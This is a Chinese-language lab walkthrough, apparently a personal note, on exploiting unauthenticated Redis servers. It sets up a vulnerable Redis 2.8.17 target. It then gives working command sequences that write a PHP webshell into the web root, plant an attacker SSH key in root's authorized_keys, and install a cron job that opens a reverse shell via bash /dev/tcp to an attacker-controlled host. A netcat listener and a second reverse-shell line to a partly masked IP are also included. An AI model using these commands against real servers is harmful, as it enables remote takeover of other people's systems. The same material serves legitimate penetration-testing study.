1. 漏洞的原因
开启远程连接,允许其他ip访问;
关闭保护模式;
没有设置密码。
2.环境的配置
1. wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2. tar xzf redis-2.8.17.tar.gz
3. cd redis-2.8.17
4. make
5. vi redis.conf
#bind 127.0.0.1(前边加#)
protected-mode no
6.运行
./src/redis-server redis.conf
在攻击方机器,安装并运行redis,推荐直接apt安装,最新版本即可。
3.连接
redis-cli -h ip(靶机)
4. webshell
这种情况可以用在权限较低的情况下
config set dir /var/www/html/ #指定到目录
config set dbfilename shell.php #指定保存的文件名字
set x "<?php phpinfo();?>" #指定内容那个
save #保存文件
在web目录下出现shell,菜刀连接
5.ssh免密码登陆
cd ~/.ssh
ssh-keygen -t rsa
复制下 id_rsa.pub
redis-cli -h ip
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali
"(注意公钥左右有
,还有用户名也要复制,总之是id_rsa.pub的全部内容)
save
最后:
ssh -i id_rsa root@ip(靶机ip)
6.交互式shell
复现的靶机:ubuntu
请注意,网上90%的师傅们都是用的centos
1.攻击方在自己的服务器上监听一个端口,一会反弹到这里来
nc -lvnp 7999
2.攻击方 redis-cli -h ip
set x "
* * * * * /bin/bash -i >& /dev/tcp/ip(vps)/7999 0>&1
" #定时任务,不断的反弹shell
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
值得注意的是,在ubuntu下不会检测到反弹的shell,解决办法:
ln -s -f bash /bin/sh #ubutu下sh指向的是dash,修改为指向bash即可
实际利用不太可能,因为我们不能进行命令执行修改软连接的指向,但是centos下却是可以的,因为centos下的sh默认指向bash
下面的这篇文章加了个方法可以直接用(不需要修改软链接)
*/1 * * * * bash -c "bash -i >&/dev/tcp/123.207.x.x/1234 0>&1"
tql,在gopherus这个工具里面的反弹shell的方法也是几乎差不多
shell弹的奇慢,我第二次实验的时候一度以为我弄错了,特此贴两张图